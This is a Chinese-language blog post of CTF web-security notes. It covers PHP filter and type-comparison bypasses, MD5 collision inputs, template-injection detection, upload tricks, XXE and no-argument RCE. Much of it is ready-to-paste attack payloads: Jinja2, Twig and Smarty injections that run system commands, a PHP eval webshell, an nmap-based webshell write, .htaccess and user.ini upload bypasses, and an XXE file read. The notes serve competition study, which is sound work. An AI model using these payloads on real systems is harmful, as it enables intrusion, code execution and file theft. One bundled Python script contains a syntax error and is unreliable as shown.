常用知识点

PHP

var_dump( ) 以列的形式展开数据,方便查看

scandir( ) 扫描某一文件夹目录

file_get_contents( ) 读取文件,拼接用’.’ 如num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

base_convert() 函数 在任意进制之间转换数字,返回一个字符串

dechex() 函数:把十进制转换为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

readfile() 函数读取文件

localeconv()函数返回一包含本地数字及货币格式信息的数组
配套使用
利用**scandir()**,传入’.’显示当前所有目录,即scandir(‘.’)

但 ‘.’被不符合正则匹配的规则

然后利用**localeconv()**函数返回一包含本地数字及货币格式信息的数组(其数组的第一个值就是.)

利用指针指向数组的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

scandir(localeconv(current()));
next() 函数将内部指针指向数组中的下一个元素,并输出。返回的是数组具体的值,不能嵌套。
array_reverse() 函数返回翻转顺序的数组。

preg_match绕过

1、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

2、PCRE回溯次数限制

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

3、换行符

.不会匹配换行符,如

1
2
3
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

只需要

1
$json="\nflag"

而在非多行模式下,$似乎会忽略在句尾的%0a

1
2
3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

只需要传入

1
?a=flag%0a

intval()函数绕过

1
int intval ( mixed $var [, int $base = 10 ] )

函数作用:获取变量的整数值

0x:16 0:8 0b:2 默认10

科学计数法绕过

当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

echo intval(1e10); // 1410065408
echo intval(‘1e10’); // 1
echo intval(‘1e10’+1); // 1410065409
应用场景:

1
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)

进制绕过

当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。

当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。

如果 $var 以 0 开头,就使用 8进制

如果 $var 以0x开头,就使用 16进制

否则,就使用 10进制

转换字符串特性绕过

如果以数字开头,就返回1个或多个连续的数字

如果以字母开头,就返回0

if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die(“id error”);
}else{
# id 小于 999 拼接sql语句
$sql = “select * from article where id = $id order by id limit 1 “;

payload:?id=2 or id=1000

数组绕过

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素,有为1无为0

三种数组写法:

$a[]=1;

$a=array(1,2);

$a=[1,2];
但在传参时一般使用第一种形式,经过测试发现,传参默认都是字符串类型,根据intval的字符串转换规则,如果字符串第一个字符不是数字就会直接返回0,所以后面两种形式都是返回0,只有第一种可以正确返回数字1

取反~绕过

当某个数字被过滤时,可以两次取反来绕过

var_dump(intval(~10)); \ -11
var_dump(intval(~~10)); \ 10

算数运算符绕过

当某个数字被过滤时,可以使用算数运算符绕过

var_dump(intval(5*5));
var_dump(intval(5+5));
var_dump(intval(05+5));
输出:

int(25)
int(10)
int(10)

SQL注入intval()函数绕过黑名单方法

#flag in id=1000
if(preg_match(“/or|-|\|*|<|>|!|x|hex|+/i”,$id)){
die(“id error”);
}
if(intval($id) > 999){
die(“id error”);
}
else{

     # id 小于 999 拼接sql语句

​ $sql = “select * from article where id = $id order by id limit 1 “;
}
根据黑名单的不同,访问?id=1000有以下几种方法:
?id=’1000’ //“1000”或(1000)皆可
?id=125<<3 //左移
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0x3e8 //十六进制
?id=0b1111101000 //二进制

弱类型比较

1.数组绕过

由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了

常见过滤函数如下:

1
2
3
4
5
ctype_alnum ( string $text ) : bool
// 如果text中所有的字符全部是字母和(或者)数字,返回 TRUE 否则返回FALSE

is_numeric ( mixed $var ) : bool
// 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

2.科学计数法绕过

可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0;可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本

1
2
3
4
5
6
7
8
9
10
<?php
for($a=1;$a<=1000000000;$a++){
$md5 = md5($a);
if(preg_match('/^0e\d+$/',$md5)){
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
byGcY
0e591948146966052067035298880982

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384

双MD5判断

有些题目,可能会经过两次MD5值的判断

MD5和双MD5以后的值都是0e开头的

1
2
3
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
脚本

# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start+str_len] == substr:
print rnds
stop_event.set()
'''
#碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"
stop_event.set()
'''

if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

强类型比较

1.数组绕过

因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组
而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了

2.使用md5加密后两个完全相等的两个字符串绕过

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

模板注入

判断模板

img

绿色是执行成功,红色是执行失败

注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入如果还是没有回显49就代表这里没有模板注入;如果注入回显了49代表执行成功,继续往下走注入,如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${“z”.join(“ab”)},如果执行成功回显出zab就说明是Mako模板。

常用利用方式

Twig

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Smarty

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
// another
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Jinja2https://www.cnblogs.com/hetianlab/p/17273687.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#读取文件类,<typefile’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}

#通用 getshell
原理就是找到含有 __builtins__ 的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

Flask

1
2
3
4
5
6
7
app.config['FLAG'] = os.environ.pop('FLAG') 是可以读取配置的

{{config}}应该是可以查看app.config的内容
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'.config]}}
/shrine/{{Z2V0X2ZsYXNoZWRfbWVzc2FnZXM=.X19nbG9iYWxzX18=[‘current_app’.config]}}

文件上传

常用后缀

.phtml

一句话木马

1
<?php @eval($_POST['SHELL']);?>

nmap执行

1
?host=’ <?php @eval($_POST(“shell”);?)> -oG shell.php ’

解析绕过

先利用报错来查看中间件为什么

nginx -> user.ini

apache -> .htaccess

user.ini

1
2
3
GIF89a

auto_append_file=shell.jpg

.htaccess

1
2
3
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

or

1
2
3
4
5
6
7
8
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>

目录扫描

index.php.bat

user.php.bak

phpmyadmin

robots.txt

.git源码泄露,用GitHack下载源码

/www.tar.gz

www.zip

网页请求头

Referer

Referer:https://www.baidu.com/?start=1当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。

User-Agent

User-Agent:Mozilla/…,告诉HTTP服务器, 客户端使用的操作系统和浏览器的名称和版本。

Cookie是用来存储一些用户信息以便让服务器辨别用户身份的(大多数需要登录的网站上面会比较常见),比如cookie会存储一些用户的用户名和密码,当用户登录后就会在客户端产生一个cookie来存储相关信息,这样浏览器通过读取cookie的信息去服务器上验证并通过后会判定你是合法用户,从而允许查看相应网页。当然cookie里面的数据不仅仅是上述范围,还有很多信息可以存储是cookie里面,比如sessionid等。

X-Forwarded-For (Client-Ip,x-real-ip)

X-Forwarded-For 请求头用于标识客户端的原始IP地址,特别是在通过代理服务器或负载均衡器等中间设备进行通信时。当请求从客户端传递到代理服务器时,代理服务器会将客户端的IP地址添加到X-Forwarded-For头中,以便目标服务器知道请求的来源。

伪协议

伪协议读取
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

file=php://filter/read=convert.base64-encode/resource=useless.php

伪协议写入
text=data://text/plain;base64,xxx(为相对应的base64编码)

?text=data://text/plain,I have a dream

sql注入

https://www.cnblogs.com/xinxin999/p/12521014.html

xml注入

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<xml><name>&file;</name></xml>

从XML相关一步一步到XXE漏洞

无参数RCE

无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。

1
2
3
4
5
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
eval($_GET['exp']);
}
?>

如果’;’===preg_replace(…),那么就执行exp传递的命令
\ : 转义字符
[a-z,]+ : [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();

常见绕过姿势

1、getallheaders()

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。

implode()能够直接将getallheaders()返回的数组转化为字符串。

1
2
3
<?php 
echo implode(getallheaders());
?>

在这里插入图片描述

可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

payload:?exp=eval(implode(getallheaders()));

2、get_defined_vars()

查看当前目录文件名
1
print_r(scandir(current(localeconv())));
读取当前目录文件
1
2
3
4
5
6
7
8
9
10
11
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

2、session_start()

适用于:php7以下的版本
● **session_start()**:启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
● **session_id()**:获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。

文件读取

● show_source(session_id(session_start()));
● var_dump(file_get_contents(session_id(session_start())))
● highlight_file(session_id(session_start()));
● readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可

1
2
GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

https://xz.aliyun.com/t/9360?time__1311=n4%2BxuDgD9DyiGQYDQNDsR32xfrorQDB00DiqhD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

常见文件头

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

在线工具

  1. Unicode,UTF-8,URL编码:站长工具
  2. Base系列:千千秀字
  3. 摩尔斯编码:世纪算命网
  4. 条形码/二维码:online-barcode-reader
  5. MD5,Escape/Unescape:站长工具
  6. UUencode编码:在线工具
  7. XXencode编码:在线工具
  8. 恺撒密码:千千秀字
  9. 栅栏密码:千千秀字(包含空格)Rail-fence Cipher(自动去空格)
  10. Brainfuck/Ook!:Brainfuck/Ook!(这好像是外网,可能会慢些)
  11. JSFuck:JSF*ck demo
  12. ASCII转换:ASCII在线转换器-十六进制,十进制、 二进制
  13. Base91:Base91 Cipher
  14. cyberchef: cyberchef

常用知识点
http://example.com/2023/09/27/web学习/常用知识点/
作者
Englobe
发布于
2023年9月27日
许可协议